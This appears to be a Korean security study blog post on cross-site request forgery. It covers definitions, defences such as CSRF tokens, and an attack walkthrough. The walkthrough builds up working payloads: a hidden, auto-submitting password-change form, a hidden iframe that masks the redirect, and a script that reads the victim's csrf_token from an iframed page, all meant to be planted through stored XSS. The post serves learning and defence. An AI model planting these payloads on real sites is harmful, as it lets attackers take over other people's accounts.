CSRF(Cross Site Request Forgery)

황인환·2024년 7월 5일

정의

클라이언트(피해자)가 서버로 (해커가 원하는)요청하게 만드는 것

CSRF vs XSS

CSRFXSS
스크립트를 삽입하지않아도(무엇이든) 피해자가 서버로 어떠한 요청을 하게 만드는 것클라이언트에게 클라이언트 측에서 실행하는 스크립트를 삽입하는 공격
피해자가 서버로 임의의 요청을 하게 만드는 공격

발생위치

요청이 발생하는 곳

  • Why
    ->요청을 위조해서 요청을 하게 만드는 공격이기 때문

판단여부

1. 요청을 보낼때 인증정보 없는 경우

  • 인증 토큰이나 옛날 비밀번호를 입력하게해 요청을 완성 못하게함
    ex) GET방식
요청 완성되는경우요청이 완성되지 않는 경우
URL?id='111'&newPW='111'&change=changeURL?id='111'&newPW='111'&change=change&oldPW=''
파라미터의 value를 조작하여 요청을 완성 할 수 있음oldPW를 모르면 파라미터의 value를 조작해도 요청을 완성할 수 없음

2. 컨설턴트의 주관이 개입됨

  • 애매한 경우

  • ex) 게시판 글쓰기 및 수정
    -> 위험 시나리오
    -> 관리자를 노릴때
    -> 관리자가 볼 수 있게 글씀
    -> 공지를 자동으로 보내게 요청
    -> 관리자가 클릭하면 공지 자동 배포

  • 확실하게 위험한 경우

  • ex) 개인정보 변경 및 비밀번호 변경

대응방법

잘못된 방법

  • GET방식에서 POST방식으로 전환
    -> Link로 공격하니까 GET방식에서 POST방식으로 바꾼다 -> x
    -> CSRF는 요청에 인증정보가 없어서 요청을 위조할 수 있는 것이 문제
    -> POST로 바뀌어도 인증정보가 없는 것은 똑같음 -> CSRF존재
    -> LINK대신 <form>태그 삽입으로 POST방식 공격가능(XSS존재해야함)

정확한 방법

CSRF-TOKEN
CSRF를 막기위해 만든 랜덤한 토큰

  • 방법
    -><form>태그안에 <input type="hidden" name="token" value="~~">한 줄을 더 추가함
    -> 페이지ex) 정보수정페이지에 접근하는 사람들에게 접근할때 마다 토큰 발급
    ->SESSION or DB에 토큰을 저장
    -> 정보수정을 할때 인증정보 요청

공격방법

GET방식

Link에 인증정보가 없는경우 사용가능 -> 요청완성가능
파라미터 값을 조작하여 요청
ex)URL?id='abc'&newPW='111'&change=change -> id는 abc로 PW는 111로 바뀜

POST방식

XSS와 연계필요 -> XSS 필요함

ex)
1. Burp로 요청확인
2. 인증정보 유무확인 -> 있다고 가정
3. XSS가능한지 확인 -> 게시판 글수정에 있다고 가정
4. 공격 스크립트 삽입

예시) mypage에 CSRF토큰 가져오기 & 비밀번호수정

<form> 태그를 게시판에 스크립트 심어놓음

<h1>Click Me</h1>
<form action="MyPageProcess페이지" method="POST">
  <input type="hidden" name="id" value="">
  <input type="hidden" name="info" value="">
  <input type="hidden" name="pw" value="123">
  <input type="submit" value="submit">
</form>
  • input 태그 안에 name은 파라미터 value는 파라미터 값이다.
  • hidden을 쓰는 이유는 input 태그를 화면에서 숨기기위해서
스크립트 삽입 게시판클릭 결과클릭 결과2

- 문제점

-> 버튼을 눌러야함
-> alert함수 발생
-> 다른페이지로 리다이렉션
-> CSRF 인증요소가 있는 경우 요청을 완성못함

문제점 해결

1. 버튼 자동 버튼 누르기

<form>태그에 id = "myform" 삽입
document.getElementById('myform').submit();삽입

<h1>Click Me</h1>
<form action="MyPageProcess페이지" method="POST" id = "myform">
  <input type="hidden" name="id" value="">
  <input type="hidden" name="info" value="">
  <input type="hidden" name="pw" value="123">
  <input type="submit" value="submit">
</form>

<script>
	document.getElementById('myform').submit();
</script>
게시판 클릭결과1-alert결과2-redicrection

문제점

  • alert() 발생
  • 자동 리다이렉션

2. 다른페이지로 자동 리다이렉션 방지

  • <iframe name = stealth>를 삽입하고
    form태그에 target="stealth"삽입
    -> form태그의 전송을 지정된 iframe태그로 보내줌
<h1>Click Me</h1>
<iframe name="stealth"></iframe>
<form action="MyPageProcess페이지" method="POST" id = "myform" target="stealth">
  <input type="hidden" name="id" value="">
  <input type="hidden" name="info" value="">
  <input type="hidden" name="pw" value="123">
</form>

<script>
	document.getElementById('myform').submit();
</script>
게시판 클릭결과-alert결과-iframe노출

문제점

  • alert() 발생
  • iframe 창 노출

3. alert방지 및 iframe창 숨기기

  • iframe 태그에 style="display: none;sandbox="allow-scripts"삽입

  • <iframe name="stealth" style="display: none;" sandbox="allow-scripts allow-same.origin">는 부모태크(body)의 출처와 자식태크 출처를 같게 간주하여 서로 DOM에 접근 가능
    -> 보완에 허점

  • <iframe name="stealth" style="display: none;" sandbox="allow-scripts ">은 부모태그와 자식태그의 출처를 다르게하여 서로 DOM에 접근 못하게함
    ->document.getElementById, contentDocument, contentWindow.document등은 DOM에 접근하는 방식
    --> allow-scripts만쓰면 사용불가능
    -> form태그로 요청바꾸기는 DOM에 접근하는 것이 아니고 HTTP요청을 통해 서버와 통신함
    --> 데이터 전송은 꼭 동일 출처 아니여도 됨

<h1>Click Me</h1>
<iframe name="stealth" style="display: none;" sandbox="allow-scripts"></iframe>
<form action="MyPageProcess페이지" method="POST" id = "myform">
  <input type="hidden" name="id" value="">
  <input type="hidden" name="info" value="">
  <input type="hidden" name="pw" value="123">
  <input type="submit" value="submit">
</form>

<script>
	document.getElementById('myform').submit();
</script>
게시판 클릭결과

문제점

  • CSRF토큰이 있는 경우 요청을 완성 할 수 없음

4. CSRF 토큰 가져오기

iframe태그에 CSRF-TOKEN이 발행되는 페이지를 불러오고 거기서 script태그를 통해 가져옴

<iframe src="mypageURL" style="display: none;" sandbox="allow-scripts" id ="plz"></iframe>

<script>
  document.getElementById('plz').onload=function (){
    let target = document.getElementById('plz');
    let DOM = target.contentDocument;
    let want = DOM.getElementsByName('csrf_token');
    var real = want[0].value;
	alert(real);
  }
</script>
게시판 클릭결과

최종

  • document.getElementById('csrf').value=real;를 삽입
    -> CSRF-TOKEN을 전송하는 input태그 vaule 파라미터에 CSRF-TOKEN값을 넣어줌
//CSRF-TOKEN을 가져위해 mypage불러오는 iframe
<iframe src="mypageURL" style="display: none;" id ="plz"></iframe>

//form태그 전송받을 iframe
<iframe name="stealth" style="display: none;" sandbox="allow-scripts"></iframe>
<form action="MyPageProcess페이지" method="POST" target="stealth" id="myform">
<input type="hidden" name="id" value="">
<input type="hidden" name="info" value="">
<input type="hidden" name="pw" value="123">
<input type="hidden" id="csrf" name="csrf_token" value="">
</form>

<script>
  document.getElementById('plz').onload=function (){
    let target = document.getElementById('plz');
    let DOM = target.contentDocument;
    let want = DOM.getElementsByName('csrf_token');
    var real = want[0].value;
    //CSRF토큰 값을 value값으로 지정
    document.getElementById('csrf').value=real;
    //자동 전송
    document.getElementById('myform').submit();
  }
</script>

-- Normaltic Study 12주차--

0개의 댓글